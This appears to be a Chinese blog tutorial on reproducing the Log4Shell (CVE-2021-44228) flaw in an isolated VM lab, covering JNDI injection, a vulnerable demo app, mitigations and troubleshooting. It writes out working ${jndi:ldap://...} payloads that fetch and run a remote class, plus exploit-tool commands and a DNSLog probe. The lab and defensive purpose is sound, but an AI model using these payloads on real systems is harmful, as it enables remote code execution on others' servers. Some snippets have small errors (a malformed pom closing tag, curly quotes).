当前位置： 首页 > news >正文

Log4j漏洞复现：从JNDI注入原理到靶场实战与防御

news 2026/6/25 22:19:40

1. 项目概述：为什么我们要亲手复现Log4j漏洞？

如果你是一名计算机专业的学生、刚入行的安全工程师，或者是对底层原理充满好奇的开发人员，听到“Log4j漏洞”这个词，你的第一反应是什么？是铺天盖地的新闻标题带来的焦虑，还是技术文章里一堆晦涩难懂的“JNDI”、“LDAP”、“RCE”术语带来的困惑？我最初接触这个漏洞时，也有同样的感觉。网上的分析文章要么过于学术化，充斥着协议栈和调用链；要么就是直接丢出一个一键化的漏洞利用工具（PoC），点一下按钮就完事，除了得到一个“漏洞存在”的结论，对“它究竟是怎么发生的”依然一头雾水。

这正是我写这篇教程的初衷。我不打算把它写成一份漏洞通告的翻译，或者一个工具的使用说明书。我想做的，是和你一起，从一个计算机从业者最朴素的视角出发，亲手搭建一个靶场环境，写几行代码，触发这个漏洞，然后像侦探一样，一步步回溯整个攻击链条。我们的目标不是成为“脚本小子”，而是真正理解：一个看似无害的日志记录行为，是如何演变成能够远程执行任意代码的“核弹级”漏洞的。这个过程，我们称之为“漏洞复现”。复现不是目的，而是我们理解漏洞原理、评估其危害、并最终思考如何防御的最有效手段。通过亲手操作，那些抽象的概念才会变成你脑海中牢固的、可关联的知识节点。

2. 漏洞原理深度拆解：Log4j2到底哪里出了问题？

在动手之前，我们必须先把原理吃透。否则，搭建环境、执行攻击都会变成机械的模仿。Log4j2漏洞的核心，可以概括为：“过于强大的功能”遇上了“过于信任的解析”。

2.1 核心机制：Lookup与JNDI

Log4j2作为一个日志框架，提供了一个非常强大的功能叫“Lookup”。简单理解，Lookup就是“查找并替换”。你可以在日志输出的字符串里嵌入一些特殊的语法，Log4j2在记录日志时，会动态地去执行这些语法，并把结果替换进去。这本来是为了方便，比如在日志里自动输出系统环境变量${env:USER}，或者当前时间${date:MM-dd-yyyy}。

问题出在其中一种特定的Lookup：JNDI Lookup。JNDI（Java Naming and Directory Interface）是Java提供的一个统一接口，用来访问各种命名和目录服务，比如LDAP、RMI、DNS等。Log4j2支持通过${jndi:ldap://evil.com/exp}这样的语法，在记录日志时，去指定的LDAP服务器上查找一个对象。

在正常情况下，这个功能或许用于从中心目录服务获取一些配置信息。但Log4j2的设计犯了一个关键错误：它默认信任并执行了从远程服务返回的Java对象。

2.2 攻击链条推演：从日志记录到代码执行

现在，让我们把攻击者的思路和Log4j2的行为串联起来，推演整个攻击过程：

  1. 攻击入口：任何将用户输入未经处理直接记录到日志的地方，都可能成为入口。比如一个Web应用的搜索框、用户代理头（User-Agent）、甚至是登录的用户名。攻击者提交的 payload 是：${jndi:ldap://attacker-control-server.com/Exploit}。

  2. 日志记录触发：应用代码调用了logger.info(“Search keyword: “ + userInput)。Log4j2 在处理这个日志消息时，发现了${jndi:...}模式。

  3. JNDI解析：Log4j2 的 JNDI Lookup 模块被触发，它尝试连接attacker-control-server.com这个攻击者控制的LDAP服务器。

  4. 恶意响应：攻击者的LDAP服务器并不返回一个简单的数据，而是返回一个“引用”（Reference）。这个引用指向另一个HTTP服务器上的一个Java类文件（例如http://attacker-control-server.com/Exploit.class）。

  5. 自动加载与执行：这是最致命的一步。受害服务器上的Log4j2（实际上是底层的JNDI服务）在收到这个引用后，会自动去指定的HTTP地址下载这个.class文件，然后利用类加载器将其加载到JVM中。

  6. 代码执行：被加载的Exploit.class的静态代码块（static block）或构造函数中的代码会被执行。攻击者可以在这里写入任意恶意代码，比如执行系统命令、反弹Shell、下载木马等。至此，攻击者成功在目标服务器上执行了任意代码。

关键点理解：整个攻击链条能够打通，核心在于Java默认环境下（尤其是早期版本），JNDI对于从远程加载的类对象缺乏足够的安全校验，而Log4j2又无条件地信任并触发了这个远程查找和加载过程。这相当于你家的门卫（Log4j2）听到有人说“快递到了，放在楼下某个地方，你自己去拿一下”（JNDI Lookup），门卫不仅信了，还亲自跑去那个未知的地方把包裹（恶意类）拿回家，并拆开执行了里面的指令。

2.3 影响版本与漏洞编号

这个漏洞影响范围极广：

  • 受影响版本：Apache Log4j2 2.0-beta9 到 2.14.1。
  • 漏洞编号：CVE-2021-44228（俗称Log4Shell），这是最严重的一个。后续还有相关的漏洞如CVE-2021-45046（绕过补丁）、CVE-2021-45105（拒绝服务）等。
  • 根本原因：lookup功能默认开启且未对输入做过滤，结合JNDI在特定条件下的远程类加载能力。

理解了这些，我们再动手复现，就会清楚地知道每一步操作对应着原理上的哪个环节，真正做到“知其然，更知其所以然”。

3. 靶场环境搭建：构建一个安全的实验沙箱

漏洞复现必须在隔离的环境中进行，绝不能在生产环境或联网的主机上尝试。我们的目标是搭建一个完全内网、可控的“微缩网络”，模拟出存在漏洞的应用、攻击者服务器和必要的网络服务。

3.1 实验拓扑与组件规划

我们将搭建一个简单的三节点环境，所有节点通过虚拟网络连接，与宿主机物理网络隔离：

  1. 靶机（Victim）：运行一个存在Log4j2漏洞的简单Java Web应用。
  2. 攻击机（Attacker）：提供恶意LDAP服务和HTTP文件服务，用于托管和传递攻击载荷。
  3. DNS服务（可选但推荐）：用于模拟更真实的攻击场景中可能涉及的DNS查询，帮助我们理解整个交互流程。

工具选型理由：

  • 虚拟机软件：VMware Workstation 或 VirtualBox。它们能完美创建隔离的虚拟网络（如VMware的VMnet仅主机模式），这是安全实验的基础。
  • 操作系统：靶机和攻击机均使用 Kali Linux。原因有三：一是 Kali 内置了大量安全工具（如Python，用于快速启服务）；二是环境统一，减少兼容性问题；三是它本身就是为安全测试设计的发行版。
  • Java环境：使用JDK 8u121 或更早的版本。这是复现成功的关键！因为在 JDK 8u191 之后，Oracle 默认禁用了JNDI从远程地址加载工厂类（即com.sun.jndi.ldap.object.trustURLCodebase默认为false），这会使我们的攻击链中断。为了原汁原味复现，我们需要这个“脆弱”的旧版本。

3.2 详细搭建步骤

3.2.1 创建隔离虚拟网络

以VMware为例：

  1. 打开VMware，进入“编辑” -> “虚拟网络编辑器”。
  2. 选择一个未被使用的VMnet（例如 VMnet10），将其设置为“仅主机模式”。
  3. 取消勾选“使用本地DHCP服务”，我们手动配置静态IP以便管理。
  4. 记下子网网段，例如192.168.10.0/24。
3.2.2 配置攻击机（Attacker）
  1. 系统安装：新建虚拟机，安装Kali Linux，在网络适配器中选择上一步创建的“仅主机模式”网络（VMnet10）。
  2. 网络配置：启动系统，手动配置静态IP。
    # 编辑网络配置文件，以Kali为例 sudo nano /etc/network/interfaces # 添加或修改如下内容（假设网关为.1，攻击机用.2） auto eth0 iface eth0 inet static address 192.168.10.2 netmask 255.255.255.0 gateway 192.168.10.1
    重启网络服务或系统。
  3. 安装必要工具：Kali通常已自带Python3、git等。我们需要一个工具来快速启动LDAP和HTTP服务。这里使用一个优秀的开源项目JNDI-Injection-Exploit。
    # 克隆项目 git clone https://github.com/feihong-cs/JNDI-Injection-Exploit.git cd JNDI-Injection-Exploit # 项目需要Maven编译，确保已安装 sudo apt update && sudo apt install maven -y # 编译 mvn clean package -DskipTests
    编译成功后，在target目录下会生成JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar文件。
3.2.3 配置靶机（Victim）
  1. 系统安装：同样新建一个Kali Linux虚拟机，网络适配器连接到同一个VMnet10。
  2. 网络配置：配置静态IP，例如192.168.10.3。确保能与攻击机（.2）互相ping通。
  3. 安装脆弱版JDK：这是最关键的步骤。
    # 1. 下载 JDK 8u121 (或更早版本，如 u111) # 可以从Oracle官网归档或可信的镜像站下载，例如 jdk-8u121-linux-x64.tar.gz # 2. 解压并安装 tar -xzf jdk-8u121-linux-x64.tar.gz sudo mv jdk1.8.0_121 /opt/ # 3. 配置环境变量 sudo nano /etc/profile.d/java.sh
    在java.sh文件中添加：
    export JAVA_HOME=/opt/jdk1.8.0_121 export PATH=$JAVA_HOME/bin:$PATH
    保存后，执行source /etc/profile并验证：
    java -version # 应显示 java version "1.8.0_121"
  4. 准备漏洞应用：我们需要一个使用了脆弱版本Log4j2的Java程序。为了最直观，我们可以自己写一个简单的。
    # 创建一个工作目录 mkdir ~/log4j-vuln-app && cd ~/log4j-vuln-app
    创建文件pom.xml（Maven项目配置文件）：
    <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.vuln.demo</groupId> <artifactId>log4j-vuln-demo</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> </properties> <dependencies> <!-- 引入存在漏洞的 Log4j2 核心 --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <!-- 引入 Log4j2 API --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency> </dependencies> </xml>
    创建漏洞演示主程序src/main/java/Log4jVulnDemo.java：
    import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4jVulnDemo { // 使用 Log4j2 的 Logger private static final Logger logger = LogManager.getLogger(Log4jVulnDemo.class); public static void main(String[] args) { // 模拟用户输入（在实际中，这可能来自HTTP请求参数、Headers等） String userInput = args.length > 0 ? args[0] : “Default Log”; // 关键漏洞点：将未经处理的用户输入记录到日志 // 如果 userInput 包含 ${jndi:ldap://...}，漏洞就会被触发 logger.error(“Received input: “ + userInput); System.out.println(“Logging completed. Check the output (if configured).”); } }
    创建Log4j2配置文件src/main/resources/log4j2.xml，配置为简单的控制台输出，确保Lookup功能生效（默认就是开启的）：
    <?xml version=“1.0” encoding=“UTF-8”?> <Configuration status=“WARN”> <Appenders> <Console name=“Console” target=“SYSTEM_OUT”> <PatternLayout pattern=“%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n”/> </Console> </Appenders> <Loggers> <Root level=“error”> <AppenderRef ref=“Console”/> </Root> </Loggers> </Configuration>
  5. 编译与运行准备：
    # 在项目根目录（有pom.xml的目录）执行编译 mvn clean compile # 将依赖包复制到一起，方便运行 mvn dependency:copy-dependencies # 运行程序（先不传参，测试正常日志） java -cp “target/classes:target/dependency/*” Log4jVulnDemo
    如果看到 “Received input: Default Log” 输出到控制台，说明环境基本就绪。

环境搭建避坑指南：

  1. JDK版本是成败关键：务必确认java -version输出的是 8u191 之前的版本。如果版本不对，后续攻击会失败，并可能在日志中看到trustURLCodebase相关的错误。
  2. 网络连通性：确保靶机（.3）能 ping 通攻击机（.2）。在仅主机模式下，防火墙通常不影响虚拟机间通信，但最好检查一下。
  3. 依赖下载：第一次运行mvn compile可能会下载很多依赖，需要保持网络畅通。也可以提前在宿主机下载好，再传入虚拟机。
  4. 简单化：我们这个Demo是最简化的，没有使用Spring Boot等复杂框架，这有助于我们聚焦漏洞本身，排除其他干扰因素。

4. 攻击模拟与漏洞复现实操

环境准备就绪，现在让我们扮演攻击者，发起攻击，并观察漏洞被触发的完整过程。

4.1 在攻击机上启动恶意服务

回到我们的攻击机（192.168.10.2），我们需要启动两个服务：

  1. 恶意LDAP服务：用于响应靶机的JNDI查询，并返回指向HTTP服务的“引用”。
  2. HTTP服务：用于托管恶意的Java类文件（Exploit.class）。

使用我们之前编译好的JNDI-Injection-Exploit工具，它可以一键启动这两个服务。

cd /path/to/JNDI-Injection-Exploit/target # 运行工具，-C 后面跟要执行的命令，-A 是攻击机IP java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “touch /tmp/pwned_success” -A 192.168.10.2

参数解释：

  • -C “command”：指定当恶意类被加载后要执行的系统命令。这里我们用一个无害的命令touch /tmp/pwned_success，在靶机的/tmp目录下创建一个文件作为攻击成功的证明。在实际攻击中，这里可以是任意命令，如反弹shell、下载木马等。
  • -A 192.168.10.2：指定攻击者（LDAP/HTTP服务）的IP地址。

执行命令后，工具会输出类似以下信息：

[+] LDAP Server Start Listening on 1389… [+] HTTP Server Start Listening on 8080… [+] Malicious class file loaded on HTTP server: http://192.168.10.2:8080/Exploit [+] LDAP binding entry: ldap://192.168.10.2:1389/Exploit [+] Available payloads: * ${jndi:ldap://192.168.10.2:1389/Exploit} * ${jndi:rmi://192.168.10.2:1099/Exploit}

它告诉我们：

  • LDAP服务在192.168.10.2:1389上监听。
  • HTTP服务在192.168.10.2:8080上监听，并已经托管了一个名为Exploit.class的恶意类文件。
  • 生成了可用的Payload，我们选择LDAP版本的：${jndi:ldap://192.168.10.2:1389/Exploit}。

此时，攻击机已进入“狩猎”状态，等待靶机触发漏洞。

4.2 在靶机上触发漏洞

切换到靶机（192.168.10.3），运行我们之前编译好的漏洞演示程序，但这次，我们将包含JNDI Payload的字符串作为参数传入。

cd ~/log4j-vuln-app # 运行程序，并传入恶意Payload作为参数 java -cp “target/classes:target/dependency/*” Log4jVulnDemo ‘${jndi:ldap://192.168.10.2:1389/Exploit}’

4.3 观察与验证攻击结果

执行上述命令后，请同时观察靶机和攻击机的控制台输出。

在攻击机上，你应该能看到类似以下的日志，表明收到了连接请求并处理了攻击：

[+] Received LDAP query: /Exploit [+] Sending LDAP ResourceRef result for Exploit with basic remote reference payload [+] Send LDAP reference result for Exploit redirecting to http://192.168.10.2:8080/Exploit.class [+] HTTP Server received request for /Exploit.class [+] Malicious class file Exploit.class delivered to client

这清晰地展示了攻击流程：靶机查询LDAP -> LDAP返回一个指向HTTP的引用 -> 靶机请求HTTP服务下载恶意类。

在靶机上，程序可能不会有特别明显的异常输出（除非恶意命令有输出）。但此时，漏洞已经被触发，恶意代码已经执行。我们来验证攻击是否成功：

# 在靶机上检查我们touch命令是否执行成功 ls -la /tmp/pwned_success

如果文件/tmp/pwned_success被成功创建，那么恭喜你，你已经成功复现了Log4j2 (CVE-2021-44228) 远程代码执行漏洞！这证明攻击者传入的${jndi:...}字符串，最终导致系统执行了touch /tmp/pwned_success这条命令。

4.4 深入分析：网络流量抓包观察

为了更深刻地理解整个过程，我们可以在攻击机或靶机上使用tcpdump抓包，过滤端口1389（LDAP）和8080（HTTP）。 在攻击机上：

sudo tcpdump -i eth0 -w log4j_attack.pcap port 1389 or port 8080

在执行靶机攻击命令前后进行抓包，然后用Wireshark打开log4j_attack.pcap文件分析。你可以清晰地看到：

  1. 靶机（.3）向攻击机（.2）的1389端口发起TCP连接（LDAP查询）。
  2. 攻击机返回LDAP协议数据包，其中包含reference字段，值是http://192.168.10.2:8080/Exploit.class。
  3. 紧接着，靶机向攻击机的8080端口发起HTTP GET请求，获取/Exploit.class。
  4. HTTP返回200 OK，内容就是编译好的恶意Java类字节码。

这个抓包分析是理解漏洞原理的“铁证”，它直观地展示了漏洞利用的完整网络交互过程。

5. 漏洞修复与防御策略探究

成功复现漏洞后，我们的思考不能止步于“攻击成功了”。更重要的是，作为一名开发者或安全人员，我们需要知道如何修复和防御。修复通常从两个层面进行：紧急缓解和根本修复。

5.1 紧急缓解措施

在漏洞爆发初期，来不及升级所有系统时，可以采取以下临时方案：

  1. 修改JVM参数（最快速）：在启动Java应用时，添加以下参数，直接禁用Log4j2的lookup功能。

    -Dlog4j2.formatMsgNoLookups=true

    原理：这个系统属性会告诉Log4j2在格式化日志消息时不要进行任何查找（Lookup），从而从根本上阻断${}的解析。这是Apache官方最初推荐的缓解方案。

  2. 移除易受攻击的类：找到Log4j2核心jar包中的JndiLookup类并删除。

    # 在Linux服务器上，找到log4j-core-*.jar，然后执行 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

    原理：直接物理移除负责处理jndi:协议的Lookup类，让攻击Payload失效。但这种方式可能影响其他依赖该类的正常功能（如果有的话），且升级Log4j版本时需重新操作。

  3. 环境变量限制：对于高版本JDK（>=6u211, 7u201, 8u191, 11.0.1），可以设置系统属性com.sun.jndi.ldap.object.trustURLCodebase=false（这已是默认值）。但对于我们复现用的旧JDK，此方法无效。

5.2 根本修复方案：升级与最佳实践

  1. 升级Log4j2版本：这是最推荐、最彻底的解决方案。

    • 升级到2.16.0版本。这个版本默认完全禁用了JNDI功能，并且默认不允许加载远程配置。
    • 后续版本（如2.17.x, 3.x）持续进行了安全加固。操作：修改项目的pom.xml或build.gradle，将Log4j2相关依赖升级到安全版本，然后重新编译部署。

  2. 使用安全框架进行输入过滤：在代码层面，对所有用户输入进行严格的校验和过滤。

    • 对来自网络请求的参数、头信息、Cookie等进行扫描，过滤或转义${、}、jndi:、ldap://、rmi://等危险模式。
    • 但这属于“黑名单”机制，可能存在绕过风险，应作为纵深防御的一环，而非唯一手段。

  3. 最小权限原则：运行Java应用的系统账户应遵循最小权限原则，避免使用root或高权限账户。这样即使被攻破，攻击者能造成的破坏也有限。

  4. 部署网络层防护：

    • WAF（Web应用防火墙）：部署具备虚拟补丁功能的WAF，可以实时拦截包含Log4j攻击特征的请求。
    • 网络隔离与出口限制：严格限制服务器对外发起网络连接的能力（出站规则）。即使漏洞被触发，由于无法连接外部的恶意LDAP/HTTP服务器，攻击链也会中断。

5.3 修复验证

让我们验证一下最根本的修复方法——升级Log4j2。修改靶机项目中的pom.xml，将Log4j2版本改为2.16.0：

<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.16.0</version> <!-- 升级到安全版本 --> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.16.0</version> </dependency>

重新编译并运行：

mvn clean compile dependency:copy-dependencies java -cp “target/classes:target/dependency/*” Log4jVulnDemo ‘${jndi:ldap://192.168.10.2:1389/Exploit}’

此时，观察日志输出和/tmp目录。你会发现：

  • 日志中可能原样输出了${jndi:ldap://...}这个字符串，而没有被解析。
  • /tmp/pwned_success文件不会被创建。
  • 攻击机上也收不到任何LDAP或HTTP请求。

这说明漏洞已被成功修复。在2.16.0版本的日志中，你可能会看到一条警告信息：“JNDI lookup is disabled”，这正是安全机制生效的表现。

6. 复现过程中的常见问题与排查技巧

即使按照教程操作，你也可能会遇到一些问题。这里汇总了一些常见坑点及其解决方法。

6.1 漏洞无法触发，没有创建文件

  • 问题现象：执行Payload后，攻击机无连接日志，靶机无异常，/tmp/pwned_success未创建。
  • 排查思路：
    1. 检查JDK版本：这是最常见的原因。务必在靶机上执行java -version，确认版本早于8u191。如果版本过高，攻击链在JNDI加载远程类这一步会被JDK自身的安全机制阻断。
    2. 检查网络连通性：在靶机上执行ping 192.168.10.2，确保两台虚拟机可以互通。检查防火墙是否关闭（sudo ufw status或sudo systemctl status firewalld）。
    3. 检查Payload格式：确保Payload字符串完全正确，没有多余的空格或换行。最好直接从攻击机工具的输出中复制。注意单引号的使用（在Bash中，单引号可以防止$被shell解析）。
    4. 检查Log4j2配置：确保log4j2.xml文件在类路径（classpath）上，且日志级别足够低（我们用的是error，所以用logger.error记录）。可以尝试改成logger.info并相应调整配置的Root级别为info。
    5. 查看靶机日志：攻击可能触发了，但命令执行没成功。可以在攻击机上尝试更简单的命令，如echo test > /tmp/test，或者查看Java应用是否有错误堆栈打印到标准错误输出。

6.2 攻击机工具启动报错或没有监听端口

  • 问题现象：运行JNDI-Injection-Exploit的Jar包时出错，或者执行后netstat -tlnp看不到1389或8080端口在监听。
  • 排查思路：
    1. 端口占用：1389（LDAP）或8080（HTTP）端口可能被占用。可以修改工具代码或使用其他工具（如marshalsec）启动在不同端口，并相应修改Payload。
    2. Java版本：确保攻击机上的Java版本能运行该工具（通常需要JDK 8+）。用java -version检查。
    3. 依赖缺失：虽然我们用了-all的fat jar，但极少数情况下仍有依赖问题。可以尝试在项目目录下直接运行mvn exec:java来启动（需查看项目README）。
    4. 防火墙：攻击机自身的防火墙可能阻止了端口绑定。检查并临时关闭防火墙。

6.3 收到连接但命令未执行

  • 问题现象：攻击机收到了LDAP和HTTP请求日志，但靶机上命令未生效（文件没创建）。
  • 排查思路：
    1. 命令路径问题：touch命令通常位于/usr/bin/touch。确保命令可用。可以尝试使用绝对路径/usr/bin/touch。
    2. 权限问题：Java进程运行的用户可能没有在/tmp目录下创建文件的权限（虽然/tmp通常权限宽松）。可以尝试将命令改为whoami > /tmp/whoami.log来查看执行命令的用户。
    3. Payload类型：某些复杂的命令（特别是涉及管道|、重定向>、环境变量$的）在通过Java Runtime执行时可能会被shell解析出问题。尽量使用简单的命令进行测试。
    4. 杀毒软件/安全监控：在真实的带有安全软件的系统中，可疑的进程创建行为可能会被拦截。我们的实验环境是纯净的，通常不会有此问题。

6.4 如何构造更真实的攻击场景？

我们本次复现使用的是最简单的命令行程序。为了加深理解，你可以尝试：

  1. 搭建有漏洞的Web应用：使用Spring Boot快速搭建一个带有登录或搜索功能的Web应用，将用户输入记录到日志。然后通过Burp Suite等工具拦截HTTP请求，修改参数（如User-Agent、X-Forwarded-For头或查询参数）插入Payload进行攻击。
  2. 使用DNSLog验证无回显漏洞：有时命令执行没有回显（Blind RCE）。可以将Payload中的域名部分换成DNSLog平台（如dnslog.cn）提供的子域名。如果漏洞存在，目标服务器会尝试进行JNDI解析，从而发起DNS查询，在DNSLog平台上就能看到记录，证明漏洞存在。 Payload示例：${jndi:ldap://your-subdomain.dnslog.cn/a}

7. 从复现到理解：安全思维的提升

完成这次Log4j漏洞的复现，其意义远不止于成功运行了几条命令。它应该成为你安全认知的一个里程碑。通过这个过程，我希望你能带走以下几点思考：

第一，信任边界至关重要。Log4j漏洞的本质是信任边界被穿透。日志框架本应无条件信任应用程序给它的消息，但当这个消息来源于不可信的用户输入时，这种信任就导致了灾难。在设计和开发中，必须清晰地定义哪些是可信的内部数据，哪些是不可信的外部输入，并对所有外部输入进行严格的校验、过滤和转义。

第二，默认安全（Secure by Default）是铁律。Log4j2默认开启强大的Lookup功能，且早期版本JNDI默认信任远程代码库，这都是违反“默认安全”原则的。任何功能，尤其是涉及外部交互或代码执行的功能，默认应该是关闭或处于最严格的限制模式下，由用户根据需要显式开启。

第三，深度防御（Defense in Depth）是唯一出路。不要指望单一措施能永远防住所有攻击。就像我们看到的，修复Log4j漏洞可以从多个层面入手：升级库版本（应用层）、过滤输入（代码层）、设置JVM参数（运行时层）、限制网络出向（网络层）、部署WAF（边界层）。在关键系统上，这些措施往往需要叠加使用。

第四，动手实践是理解安全的最佳途径。看过十篇分析文章，不如自己成功复现一次。在复现过程中遇到的每一个错误、解决的每一个问题，都会让你对漏洞机理、系统交互、调试排错有更立体、更深刻的认识。这种经验是阅读无法替代的。

最后，请务必记住，我们今天在完全隔离的实验室环境中复现漏洞，是为了学习和防御。未经授权对任何系统进行漏洞测试或攻击都是非法且不道德的。将你的技能用于建设性的安全研究、漏洞挖掘和系统加固，这才是技术的正道。希望这篇超详细的“原理+实操”指南，能为你打开漏洞研究的大门，让你在未来的学习和工作中，多一份严谨，多一份洞察。

http://www.jsqmd.com/news/1077478/

相关文章：

  • 告别网盘限速烦恼：开源下载助手LinkSwift让你的文件传输飞起来
  • Django计算机毕设之基于 Django 的 Python 程序设计智能答疑平台设计与实现 基于 Django 的课程知识点智能检索问答系统(完整前后端代码+说明文档+LW，调试定制等）
  • 想深耕网络安全竞赛？一文吃透 CTF 全赛道知识点，新手快速上手拿奖必备干货指南
  • QuickRecorder：解锁macOS屏幕录制的专业级解决方案
  • CTF-XXE XML大冒险：你能找到隐藏的宝藏吗？
  • 统一搜索与推荐：大语言模型时代的信息获取新探索
  • 计算机毕业设计之基于Java的私人牙科诊治管理系统的设计与实现
  • Git 常用操作（format-patch, diff）
  • OpenCorePkg实战手册：构建稳定黑苹果引导的5个关键场景
  • 3步掌握Chrome图片格式转换：一键另存为JPG/PNG/WebP的终极指南
  • MySQL 深度优化：从索引原理到分库分表的进阶实战
  • 从手搓LLM到智能体架构：大模型工程化实战路径
  • 白杨SEO：企业官网有啥价值？AI搜索友好网站页面三大标准是啥？
  • SSH 隧道实用指南：本地与远程端口转发全解析，助你成隧道高手！
  • AI伦理实战课：从数据采集协议到上线备案的工程化落地
  • 2026年单北斗GNSS变形监测产品推荐，引领精确监控新风尚
  • 2026年小程序卖货平台搭建哪家好？适合商家的商城系统推荐
  • 计算机毕业设计之基于Java的小区业主服务平台的设计与实现
  • 从零到生产级：Ubuntu桌面/WSL2/Server三种场景下IntelliJ IDEA静默安装脚本（bash + ansible + systemd unit全栈交付）
  • NL2SQL技术原理与实战指南
  • 多播组成员动态加入退出时如何实现毫秒级状态同步与故障隔离
  • NLP语义脉搏监测系统：用知识图谱解码技术演进
  • 深入解析musl libc的TLS初始化机制：从__init_tp到线程局部存储
  • 销售分析怎么做？优秀的销售分析分析都离不开细分思维
  • 2026上半年AI视频模型演进：从Seedance 2.0到Hedra Avatar的工程实践
  • 呼市全屋定制工厂，2026年6月亲测推荐
  • 2026年GEO优化系统源码二次开发，如何抢占流量新风口？
  • 限时解密：JetBrains官网未公开的离线安装包获取通道，以及如何绕过Activation Server验证（仅限教育邮箱与开源项目认证用户）
  • MSC8112系统总线地址空间解析：从物理地址到外设控制实战
  • PPTist：免费网页版PPT制作工具，3分钟快速创建专业演示文稿